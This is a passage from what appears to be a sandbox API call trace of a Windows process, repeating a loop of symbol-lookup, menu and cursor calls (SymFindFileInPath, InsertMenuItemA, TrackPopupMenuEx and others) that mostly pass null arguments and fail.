flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.067] SymCleanup (hProcess=0x0) returned 0 [0219.068] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.068] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.068] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.068] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=836, param_4=586, param_5=0x0, param_6=0x0) returned 0 [0219.068] GetLastError () returned 0x579 [0219.068] SetLastError (dwErrCode=0x579) [0219.068] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.068] SymCleanup (hProcess=0x0) returned 0 [0219.068] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.068] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.068] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.068] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.068] GetLastError () returned 0x579 [0219.068] SetLastError (dwErrCode=0x579) [0219.068] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.068] SymCleanup (hProcess=0x0) returned 0 [0219.068] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.068] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.068] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.068] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0219.068] GetLastError () returned 0x579 [0219.068] SetLastError (dwErrCode=0x579) [0219.068] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.068] SymCleanup (hProcess=0x0) returned 0 [0219.069] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.069] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.069] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.069] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.069] GetLastError () returned 0x579 [0219.069] SetLastError (dwErrCode=0x579) [0219.069] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.069] SymCleanup (hProcess=0x0) returned 0 [0219.069] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.069] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.069] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.069] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.069] GetLastError () returned 0x579 [0219.069] SetLastError (dwErrCode=0x579) [0219.069] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.069] SymCleanup (hProcess=0x0) returned 0 [0219.069] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.069] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.069] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.069] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1295, param_4=306, param_5=0x0, param_6=0x0) returned 0 [0219.069] GetLastError () returned 0x579 [0219.069] SetLastError (dwErrCode=0x579) [0219.069] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.070] SymCleanup (hProcess=0x0) returned 0 [0219.070] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.070] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.070] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.070] GetLastError () returned 0x579 [0219.070] SetLastError (dwErrCode=0x579) [0219.070] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.070] SymCleanup (hProcess=0x0) returned 0 [0219.070] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.070] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.070] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0219.070] GetLastError () returned 0x579 [0219.070] SetLastError (dwErrCode=0x579) [0219.070] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.070] SymCleanup (hProcess=0x0) returned 0 [0219.070] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.070] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.070] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.070] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.070] GetLastError () returned 0x579 [0219.070] SetLastError (dwErrCode=0x579) [0219.070] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.071] SymCleanup (hProcess=0x0) returned 0 [0219.071] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.071] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.071] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.071] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.071] GetLastError () returned 0x579 [0219.071] SetLastError (dwErrCode=0x579) [0219.071] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.071] SymCleanup (hProcess=0x0) returned 0 [0219.071] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.071] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.071] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.071] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=324, param_4=668, param_5=0x0, param_6=0x0) returned 0 [0219.071] GetLastError () returned 0x579 [0219.071] SetLastError (dwErrCode=0x579) [0219.071] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.071] SymCleanup (hProcess=0x0) returned 0 [0219.071] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.071] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.071] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.071] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.072] GetLastError () returned 0x579 [0219.072] SetLastError (dwErrCode=0x579) [0219.072] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.072] SymCleanup (hProcess=0x0) returned 0 [0219.072] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.072] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.072] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.072] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0219.072] GetLastError () returned 0x579 [0219.072] SetLastError (dwErrCode=0x579) [0219.072] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.072] SymCleanup (hProcess=0x0) returned 0 [0219.072] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.072] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.072] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.072] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.072] GetLastError () returned 0x579 [0219.072] SetLastError (dwErrCode=0x579) [0219.073] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.073] SymCleanup (hProcess=0x0) returned 0 [0219.073] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.073] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.073] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.073] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0219.073] GetLastError () returned 0x579 [0219.073] SetLastError (dwErrCode=0x579) [0219.073] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.073] SymCleanup (hProcess=0x0) returned 0 [0219.073] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.073] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.073] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.073] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=404, param_4=862, param_5=0x0, param_6=0x0) returned 0 [0219.073] GetLastError () returned 0x579 [0219.073] SetLastError (dwErrCode=0x579) [0219.073] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.073] SymCleanup (hProcess=0x0) returned 0 [0219.073] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.073] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.073] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.073] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.073] GetLastError () returned 0x579 [0219.073] SetLastError (dwErrCode=0x579) [0219.074] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.074] SymCleanup (hProcess=0x0) returned 0 [0219.074] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.074] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.074] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.074] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0219.074] GetLastError () returned 0x579 [0219.074] SetLastError (dwErrCode=0x579) [0219.074] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.074] SymCleanup (hProcess=0x0) returned 0 [0219.074] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.074] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.074] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.074] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.074] GetLastError () returned 0x579 [0219.074] SetLastError (dwErrCode=0x579) [0219.074] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.074] SymCleanup (hProcess=0x0) returned 0 [0219.074] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.074] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.074] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.074] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.074] GetLastError () returned 0x579 [0219.074] SetLastError (dwErrCode=0x579) [0219.075] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.075] SymCleanup (hProcess=0x0) returned 0 [0219.075] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.075] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.075] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.075] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=301, param_4=336, param_5=0x0, param_6=0x0) returned 0 [0219.075] GetLastError () returned 0x579 [0219.075] SetLastError (dwErrCode=0x579) [0219.075] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.075] SymCleanup (hProcess=0x0) returned 0 [0219.075] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.075] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.075] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.075] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.075] GetLastError () returned 0x579 [0219.075] SetLastError (dwErrCode=0x579) [0219.075] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.075] SymCleanup (hProcess=0x0) returned 0 [0219.075] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.075] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.075] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.075] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0219.075] GetLastError () returned 0x579 [0219.076] SetLastError (dwErrCode=0x579) [0219.076] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.076] SymCleanup (hProcess=0x0) returned 0 [0219.076] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.076] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.076] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.076] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.076] GetLastError () returned 0x579 [0219.076] SetLastError (dwErrCode=0x579) [0219.076] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.076] SymCleanup (hProcess=0x0) returned 0 [0219.076] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.076] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.076] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.076] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0219.076] GetLastError () returned 0x579 [0219.076] SetLastError (dwErrCode=0x579) [0219.076] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.076] SymCleanup (hProcess=0x0) returned 0 [0219.076] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.076] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.076] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.076] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=925, param_4=724, param_5=0x0, param_6=0x0) returned 0 [0219.076] GetLastError () returned 0x579 [0219.077] SetLastError (dwErrCode=0x579) [0219.077] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.077] SymCleanup (hProcess=0x0) returned 0 [0219.077] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.077] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.077] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.077] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.077] GetLastError () returned 0x579 [0219.077] SetLastError (dwErrCode=0x579) [0219.077] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.077] SymCleanup (hProcess=0x0) returned 0 [0219.077] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.077] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.077] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.077] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0219.077] GetLastError () returned 0x579 [0219.077] SetLastError (dwErrCode=0x579) [0219.077] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.077] SymCleanup (hProcess=0x0) returned 0 [0219.077] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.077] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.077] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.077] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.077] GetLastError () returned 0x579 [0219.078] SetLastError (dwErrCode=0x579) [0219.078] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.078] SymCleanup (hProcess=0x0) returned 0 [0219.078] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.078] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.078] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.078] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0219.078] GetLastError () returned 0x579 [0219.078] SetLastError (dwErrCode=0x579) [0219.078] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.078] SymCleanup (hProcess=0x0) returned 0 [0219.078] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.078] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.078] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.078] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1023, param_4=371, param_5=0x0, param_6=0x0) returned 0 [0219.078] GetLastError () returned 0x579 [0219.078] SetLastError (dwErrCode=0x579) [0219.078] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.078] SymCleanup (hProcess=0x0) returned 0 [0219.078] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.078] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.078] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.078] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.078] GetLastError () returned 0x579 [0219.079] SetLastError (dwErrCode=0x579) [0219.079] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.079] SymCleanup (hProcess=0x0) returned 0 [0219.079] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.079] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.079] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.079] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.079] GetLastError () returned 0x579 [0219.079] SetLastError (dwErrCode=0x579) [0219.079] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.079] SymCleanup (hProcess=0x0) returned 0 [0219.079] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.079] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.079] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.079] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.079] GetLastError () returned 0x579 [0219.079] SetLastError (dwErrCode=0x579) [0219.079] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.079] SymCleanup (hProcess=0x0) returned 0 [0219.079] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.079] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.079] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.079] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0219.080] GetLastError () returned 0x579 [0219.080] SetLastError (dwErrCode=0x579) [0219.080] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.080] SymCleanup (hProcess=0x0) returned 0 [0219.080] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.080] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.080] GetCursorPos (in: lpPoint=0x499d08 | out: 